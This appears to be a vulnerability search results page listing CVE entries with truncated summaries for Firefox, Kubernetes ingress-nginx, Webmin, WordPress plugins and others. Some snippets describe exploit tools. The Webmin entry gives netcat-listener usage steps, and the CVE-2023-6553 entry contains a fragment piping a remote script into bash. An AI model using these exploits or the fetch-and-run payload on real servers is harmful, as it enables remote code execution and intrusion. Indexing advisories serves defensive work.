1330737 matches found
CLEANSTART-2024-TI48255 When opening Diagcab files, Firefox did not warn the user that these files may contain malicious code
Security vulnerability affects the firefox-esr package. When opening Diagcab files, Firefox did not warn the user that these files may contain malicious code...
CLEANSTART-2024-TG61239 When opening appref-ms files, Firefox did not warn the user that these files may contain malicious code
Security vulnerability affects the firefox-esr package. When opening appref-ms files, Firefox did not warn the user that these files may contain malicious code...
CVE-2025-1974
CVE-2025-1974 — IngressNightmare ingress-nginx Introduction This document presents a study of the vulnerability CVE-2025-1974 affecting the ingress-nginx component validating admission controller for Kubernetes. CVE-2025-1974 is a critical vulnerability CVSS 3.1 9.8, an unauthenticated Remote Cod...
CVE-2026-76461
cve-id Donate Help maintain this project If you find this project useful, please consider supporting its ongoing maintenance through PayPal or ABA Mobile. ❤️ ១០% នៃការបរិច្ចាគរបស់អ្នក នឹងត្រូវបានបរិច្ចាគជូនមន្ទីរពេទ្យគន្ធបុប្ផា។ ❤️ Ten percent of every donation is contributed to Kantha Bopha...
TeamViewer Vulnerability Lets Attackers Run Code on IT Support Staff’s PCs
A vulnerability in TeamViewer could let attackers run code on an IT support technician’s computer when the technician…...
CVE-2019-12840
CVE-2019-12840 Authenticated RCE in Webmin 1.910 - 'Package Updates' Usage : 1-setup a netcat listener. 2- python3 exploit.py Notes: Provide the url for example: http://:port Please copy 'sid' cookie from your browser and supply it for the exploit to work...
CLEANSTART-2024-DQ85952 If an object prototype was corrupted by an attacker, they would have been able to set undesired attributes on a JavaScript object, leading to privileged code execution
CVE-2022-2200 affects multiple packages. If an object prototype was corrupted by an attacker, they would have been able to set undesired attributes on a JavaScript object, leading to privileged code execution. See references for individual vulnerability details...
CVE-2023-6553
CVE-2023-6553 Exploit Development for CVE-2023-6553 on Backup Plugin in Wordpress This is a critical CVE with a CVSS score of 9.8 The vulnerability allows attacker to send commands to the server running the vulnerable version of the plugin Vulnerable Version Backup :9000/a.sh |bash';?" 3. You wil...
CVE-2023-38408
CVE-2023-38408 Slide and source code for CS-782 attack presentation...
CVE-2025-49113
CVE-2025-49113 Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization...
CVE-2026-116852 WordPress Widget Options plugin <= 4.2.5 - Remote Code Execution (RCE) vulnerability
Author Remote Code Execution RCE in Widget Options = 4.2.5 versions...
CVE-2026-116852
The WordPress Widget Options plugin (versions ≤ 4.2.5 ) is vulnerable to Remote Code Execution (RCE) . The vulnerability is associated with CWE-94 (Improper Control of Generation of Code). While the provided documents confirm the existence of the RCE and its CRITICAL severity, specific technical ...
EUVD-2026-114309
Author Remote Code Execution RCE in Widget Options = 4.2.5 versions...
cve-2013-3900-remediation-report
Remediation Report: CVE-2013-3900 – WinVerifyTrust Vulnerability on Windows Server 2019 Azure VM Overview During a recent authenticated vulnerability assessment conducted using Tenable Nessus, CVE-2013-3900 was detected on a Windows Server 2019 virtual machine hosted in Microsoft Azure. This scan...
CVE-2026-78527 WordPress GS Testimonial Slider plugin <= 3.3.10 - PHP Object Injection vulnerability
Contributor PHP Object Injection in GS Testimonial Slider = 3.3.10 versions...
CVE-2026-78527 WordPress GS Testimonial Slider plugin <= 3.3.10 - PHP Object Injection vulnerability
Contributor PHP Object Injection in GS Testimonial Slider = 3.3.10 versions...
CVE-2026-78527
The WordPress GS Testimonial Slider plugin versions
POC-CVE-2018-25031
CVE-2018-25031 - Swagger UI before 4.1.3 A simple POC CVE-2018-25031 that tricks the victim into entering the authorization code, which is then sent to the attacker. You can use it with the XSS Vulnerability https://github.com/VictorNS69/swagger-ui-xss It is necessary to find the parameter and...
CVE-2026-116964
A flaw was found in konflux-ci. An attacker with repository write access can achieve arbitrary code execution within the Continuous Integration and Continuous Delivery CI/CD workflow environment. By injecting shell commands into environment export scripts, the attacker causes manifest...